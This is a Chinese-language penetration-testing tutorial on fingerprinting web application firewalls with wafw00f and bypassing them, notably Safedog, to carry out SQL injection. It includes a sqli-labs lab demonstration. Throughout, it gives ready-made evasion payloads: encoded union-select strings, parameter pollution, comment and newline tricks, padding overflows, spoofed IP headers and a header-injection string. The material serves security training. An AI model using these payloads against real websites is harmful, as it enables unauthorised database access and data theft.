前言
在實際的滲透測試過程中,經常會碰到網站存在WAF的情況。網站存在WAF,意味着我們不能使用安全工具對網站進行測試,因為一旦觸碰了WAF的規則,輕則丟棄報文,重則拉黑IP。所以,我們需要手動進行WAF的繞過,而繞過WAF前肯定需要對WAF的工作原理有一定的理解。
phpstudy+safedog安裝找不到服務解決
參考鏈接:https://www.freesion.com/article/15621202542/
市面上常見的waf產品列表分析 wafw00f
1.工具簡介
現在網站為了加強自身安全,通常都會安裝各類防火牆。這些防火牆往往會攔截各種掃描 請求,使得測試人員無法正確判斷網站相關信息。Kali Linux 提供了一款網站防火牆探測工具 Wafw00f。它可以通過發送正常和帶惡意代碼的 HTTP 請求,以探測網站是否存在防火牆,並識別防火牆的類型。
2.WAFW00F 怎么工作
發送正常的 HTTP 請求,然后分析響應,這可以識別出很多 WAF。
如果不成功,它會發送一些(可能是惡意的)HTTP 請求,使用簡單的邏輯推斷是哪一 個 WAF。
如果這也不成功,它會分析之前返回的響應,使用其它簡單的算法猜測是否有某個 WAF 或者安全解決方案響應了我們的攻擊。
3.參數
它可以檢測很多 WAF。想要查看它能檢測哪些 WAF,以-l
參數執行 WAFW00F
ACE XML Gateway Cisco
aeSecure aeSecure
AireeCDN Airee
Airlock Phion/Ergon
Alert Logic Alert Logic
AliYunDun Alibaba Cloud Computing
Anquanbao Anquanbao
AnYu AnYu Technologies
Approach Approach
AppWall Radware
Armor Defense Armor
ArvanCloud ArvanCloud
ASP.NET Generic Microsoft
ASPA Firewall ASPA Engineering Co.
Astra Czar Securities
AWS Elastic Load Balancer Amazon
AzionCDN AzionCDN
Azure Front Door Microsoft
Barikode Ethic Ninja
Barracuda Barracuda Networks
Bekchy Faydata Technologies Inc.
Beluga CDN Beluga
BIG-IP Local Traffic Manager F5 Networks
BinarySec BinarySec
BitNinja BitNinja
BlockDoS BlockDoS
Bluedon Bluedon IST
BulletProof Security Pro AITpro Security
CacheWall Varnish
CacheFly CDN CacheFly
Comodo cWatch Comodo CyberSecurity
CdnNS Application Gateway CdnNs/WdidcNet
ChinaCache Load Balancer ChinaCache
Chuang Yu Shield Yunaq
Cloudbric Penta Security
Cloudflare Cloudflare Inc.
Cloudfloor Cloudfloor DNS
Cloudfront Amazon
CrawlProtect Jean-Denis Brun
DataPower IBM
DenyALL Rohde & Schwarz CyberSecurity
Distil Distil Networks
DOSarrest DOSarrest Internet Security
DotDefender Applicure Technologies
DynamicWeb Injection Check DynamicWeb
Edgecast Verizon Digital Media
Eisoo Cloud Firewall Eisoo
Expression Engine EllisLab
BIG-IP AppSec Manager F5 Networks
BIG-IP AP Manager F5 Networks
Fastly Fastly CDN
FirePass F5 Networks
FortiWeb Fortinet
GoDaddy Website Protection GoDaddy
Greywizard Grey Wizard
Huawei Cloud Firewall Huawei
HyperGuard Art of Defense
Imunify360 CloudLinux
Incapsula Imperva Inc.
IndusGuard Indusface
Instart DX Instart Logic
ISA Server Microsoft
Janusec Application Gateway Janusec
Jiasule Jiasule
Kona SiteDefender Akamai
KS-WAF KnownSec
KeyCDN KeyCDN
LimeLight CDN LimeLight
LiteSpeed LiteSpeed Technologies
Open-Resty Lua Nginx FLOSS
Oracle Cloud Oracle
Malcare Inactiv
MaxCDN MaxCDN
Mission Control Shield Mission Control
ModSecurity SpiderLabs
NAXSI NBS Systems
Nemesida PentestIt
NevisProxy AdNovum
NetContinuum Barracuda Networks
NetScaler AppFirewall Citrix Systems
Newdefend NewDefend
NexusGuard Firewall NexusGuard
NinjaFirewall NinTechNet
NullDDoS Protection NullDDoS
NSFocus NSFocus Global Inc.
OnMessage Shield BlackBaud
Palo Alto Next Gen Firewall Palo Alto Networks
PerimeterX PerimeterX
PentaWAF Global Network Services
pkSecurity IDS pkSec
PT Application Firewall Positive Technologies
PowerCDN PowerCDN
Profense ArmorLogic
Puhui Puhui
Qcloud Tencent Cloud
Qiniu Qiniu CDN
Reblaze Reblaze
RSFirewall RSJoomla!
RequestValidationMode Microsoft
Sabre Firewall Sabre
Safe3 Web Firewall Safe3
Safedog SafeDog
Safeline Chaitin Tech.
SecKing SecKing
eEye SecureIIS BeyondTrust
SecuPress WP Security SecuPress
SecureSphere Imperva Inc.
Secure Entry United Security Providers
SEnginx Neusoft
ServerDefender VP Port80 Software
Shield Security One Dollar Plugin
Shadow Daemon Zecure
SiteGround SiteGround
SiteGuard Sakura Inc.
Sitelock TrueShield
SonicWall Dell
UTM Web Protection Sophos
Squarespace Squarespace
SquidProxy IDS SquidProxy
StackPath StackPath
Sucuri CloudProxy Sucuri Inc.
Tencent Cloud Firewall Tencent Technologies
Teros Citrix Systems
Trafficshield F5 Networks
TransIP Web Firewall TransIP
URLMaster SecurityCheck iFinity/DotNetNuke
URLScan Microsoft
UEWaf UCloud
Varnish OWASP
Viettel Cloudrity
VirusDie VirusDie LLC
Wallarm Wallarm Inc.
WatchGuard WatchGuard Technologies
WebARX WebARX Security Solutions
WebKnight AQTRONIX
WebLand WebLand
wpmudev WAF Incsub
RayWAF WebRay Solutions
WebSEAL IBM
WebTotem WebTotem
West263 CDN West263CDN
Wordfence Defiant
WP Cerber Security Cerber Tech
WTS-WAF WTS
360WangZhanBao 360 Technologies
XLabs Security WAF XLabs
Xuanwudun Xuanwudun
Yundun Yundun
Yunsuo Yunsuo
Yunjiasu Baidu Cloud Computing
YXLink YxLink Technologies
Zenedge Zenedge
ZScaler Accenture
4.命令:
wafw00f 域名/IP
部分 bypass sqlinject payload
id=1union/*%00*/%23a%0A/*!/*!select1,2,3*/;%23
id=-1union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23
id=-1%20union%20/*!44509select*/%201,2,3%23
id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23
id=1/**&id=-1%20union%20select%201,2,3%23*/
id=-1%20union%20all%23%0a%20select%201,2,3%23
id=-1%20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23
WAF及繞過思路
1.WAF
Web應用防護系統(Web Application Firewall, 簡稱:WAF)代表了一類新興的信息安全技術,用以解決諸如防火牆一類傳統設備束手無策的Web應用安全問題。
首先,WAF分為非嵌入型WAF和嵌入型WAF,非嵌入型WAF指的是硬件型WAF、雲WAF、軟件型WAF之類的;而嵌入型WAF指的是網站內置的WAF。非嵌入型WAF對Web流量的解析完全是靠自身的,而嵌入型WAF拿到的Web數據是已經被解析加工好的。所以非嵌入型的受攻擊機面還涉及到其他層面,而嵌入型WAF從Web容器模塊型WAF、代碼層WAF往下走,其對抗畸形報文、掃操作繞過的能力越來越強。當然,在部署維護成本方面,也是越高的。
如圖,就是自帶的阿里雲盾:
寶塔一鍵化搭建(大部分非法網站都是使用的寶塔)
安全狗(用的比較多,是因為是免費的)
不開啟全部是因為有些頁面會出現誤報
資源防護
流量防護
網站防護
漏洞防護
2.WAF繞過-應用層
1.大小寫/關鍵字替換
id=1UnIoN/**/SeLeCT1,user()
Hex() bin() 等價於 ascii()
Sleep() 等價於 benchmark()
Mid() substring() 等價於substr()
@@user 等價於 User()
@@Version 等價於 version()
各種編碼
大小寫,URL,hex,%0A等
注釋使用
//----+#//+:%00/!/等
再次循環
union==uunionnion
等價替換
user()=@@user()and=&or=|ascii=hex等
參數污染
?id=1&id=2&id=3
編碼解碼及加密解密
s->%73->%25%37%33
hex,unlcode,base64等
更改請求提交方式
GET POST COOKIE等
POST->multipart/form-data
2.中間件HPP(HTTP參數污染)
HPP是HTTP Parameter Pollution的縮寫,意為HTTP參數污染。
原理:瀏覽器在跟服務器進行交互的過程中,瀏覽器往往會在GET/POST請求里面帶上參數,這些參數會以 名稱-值 對的形勢出現,通常在一個請求中,同樣名稱的參數只會出現一次。但是在HTTP協議中是允許同樣名稱的參數出現多次的。比如下面這個鏈接:http://www.baidu.com?name=aa&name=bb ,針對同樣名稱的參數出現多次的情況,不同的服務器的處理方式會不一樣。有的服務器是取第一個參數,也就是name=aa。有的服務器是取第二個參數,也就是name=bb。有的服務器兩個參數都取,也就是name=aa,bb 。這種特性在繞過一些服務器端的邏輯判斷時,非常有用。
HPP漏洞,與Web服務器環境、服務端使用的腳本有關。如下是不同Web服務器對於出現多個參數時的選擇:
通過HPP接管賬戶
當網站開發者不熟悉Web服務器對於多參數時如何選擇,將給攻擊者可乘之機。HPP能針對客戶端和服務端進行攻擊。
HPP參數污染還可以用於繞過某些防火牆對於 SQL注入的檢測,例如當Web服務器對多參數都同時選擇時,我們可以用以下這種方式繞過某些防火牆:
http://www.baidu.com/index.asp?page=select 1,2,3 from table where id=1
http://www.baidu.com/index.asp?page=select 1&page=2,3 from table where id=1
HTTP參數污染是指當同一參數出現多次,不同的中間件會解析為不同的結果
以參數color=red&color=blue為例
3.WAF繞過-數據庫特性
1、Mysql技巧
(1)mysql注釋符有三種:#、/**/、-- ...(注意--后面有一個空格,或者為--+)
(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]
(3)特殊符號:%a換行符
可結合注釋符使用%23%0a,%2d%2d%0a。
(3)內聯注釋:
/!UnIon12345SelEcT/1,user()//數字范圍1000-50540
(4)mysql黑魔法
select{xusername}from{x11test.admin};
2、SQLServer技巧
(1)用來注釋掉注射后查詢的其余部分:
/*C語言風格注釋
SQL注釋
;00%空字節
(2)空白符:[0x01-0x20]
(3)特殊符號:%3a冒號
id=1union:select1,2from:admin
(4)函數變形:如db_name 空白字符
3、Oracle技巧
(1)注釋符:--、/**/
(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]
4.配合FUZZ(SQLI FUZZ字典,SQL注入過濾關鍵字的Fuzz字典)
就是模糊測試,批量測試
select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin
5.數據庫特性(補充)
%23x%0aunion%23x%0Aselect%201,2,3
%20/*!44509union*/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23%0a%20select%201,2,3%23
分析下句
%20union%20/*!44509select*/%201,2,3
繞過了waf
4.WAF繞過-邏輯層
1、邏輯問題
(1)雲waf防護,一般我們會嘗試通過查找站點的真實IP,從而繞過CDN防護。
(2)當提交GET、POST同時請求時,進入POST邏輯,而忽略了GET請求的有害參數輸入,可嘗試Bypass。
(3)HTTP和HTTPS同時開放服務,沒有做HTTP到HTTPS的強制跳轉,導致HTTPS有WAF防護,HTTP
沒有防護,直接訪問HTTP站點繞過防護。
(4)特殊符號%00,部分waf遇到%00截斷,只能獲取到前面的參數,無法獲取到后面的有害參數
輸入,從而導致Bypass。比如:id=1 %00 and 1=2 union select 1,2,column_name from information_schema.columns
2、性能問題
猜想1:在設計WAF系統時,考慮自身性能問題,當數據量達到一定層級,不檢測這部分數據。只要不斷的填充數據,當數據達到一定數目之后,惡意代碼就不會被檢測了。
猜想2:不少WAF是C語言寫的,而C語言自身沒有緩沖區保護機制,因此如果WAF在處理測試向量時超出了其緩沖區長度就會引發bug,從而實現繞過。
例子1:
?id=1and(select1)=(Select0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
PS:0xA*1000指0xA后面”A"重復1000次,一般來說對應用軟件構成緩沖區溢出都需要較大的測試長度,這里1000只做參考也許在有些情況下可能不需要這么長也能溢出。
例子2:
?a0=0&a1=1&.....&a100=100&id=1
union
select
1,schema_name,3
from
INFORMATION_SCHEMA.schemata
備注:獲取請求參數,只獲取前100個參數,第101個參數並沒有獲取到,導致SQL注入繞過。
3、白名單
方式一:IP白名單
從網絡層獲取的ip,這種一般偽造不來,如果是獲取客戶端的IP,這樣就可能存在偽造IP繞過的情況。
測試方法:修改http的header來bypasswaf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
方式二:靜態資源
特定的靜態資源后綴請求,常見的靜態文件(.js.jpg.swf.css等等),類似白名單機制,waf為了檢測效率,不去檢測這樣一些靜態文件名后綴的請求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
備注:Aspx/php只識別到前面的.aspx/.php,后面基本不識別
方式三:url白名單
為了防止誤攔,部分waf內置默認的白名單列表,如admin/manager/system等管理后台。只要url中存在白名單的字符串,就作為白名單不進行檢測。常見的url構造姿勢
涉及資源:
https://www.cnblogs.com/backlion/p/9721687.html
https://blog.csdn.net/nzjdsds/article/details/93740686
案例演示
WAF部署-安全狗,寶塔等waf搭建部署
寶塔:https://blog.csdn.net/weixin_43253175/article/details/105752439
1.以已經安裝waf的sqlli-labs less2為例
直接輸入payload會被攔截,無法注入
使用post提交方式即可繞過(前提條件是源碼支持該提交方式)
頁面顯示不正常,是因為有些代碼只支持特定的提交方式,比如該關是使用get提交方式,思路是對的,但是在本關是無法成功的
將本關源碼get接收參數改為post,在判斷回顯位時可以正常注入
在進行回顯位查詢信息時,出現報錯,是因為出現了過濾詞database,是因為安全狗里面的漏洞防護規則里打開了防止查詢數據庫相關信息的規則
將該規則關閉之后可以正常注入
正常waf是開着的,所以針對攔截數據,我們可以針對數據進行相關的編譯
將源碼改為只允許GET
進行嘗試,發現union不被攔截,select也不被攔截。而union select被攔截,說明是 union select關鍵詞的問題。
原因是開啟了攔截聯合查詢的規則
使用
%23是#
%0A代表的是一個換行符
原理
#
是為了閉合a ,使用%0A
換行是為了將union和select連接起來。如果不換行的話union后面的#會將union后面所有的語句注釋掉
參數污染
原理
/** */ 注釋
語句沒有執行
簡要講解安全狗,寶塔等防護waf策略規則
簡要演示安全狗 bypass sqlinject 防護規則
eg:
當前執行語句:
select * from users where id=-1 union select 1,2,3#*/
安全狗匹配的時候匹配的是
1/**-1 union select 1,2,3#*/
或1/**&id-1%20union%20select%201,2,3%23*/
其中符號中起到注釋作用,正常情況下沒有執行,
安全狗直接不管,但是參數污染導致的真實數據是
-1 union select 1,2,3#*/正常執行sql
實測簡易CMS頭部注入漏洞Bypass原理分析
抓包,注入點:X-Forwarded-For:
如:X-Forwarded-For:8.8.8.8' union select 1,2,3,database(),5#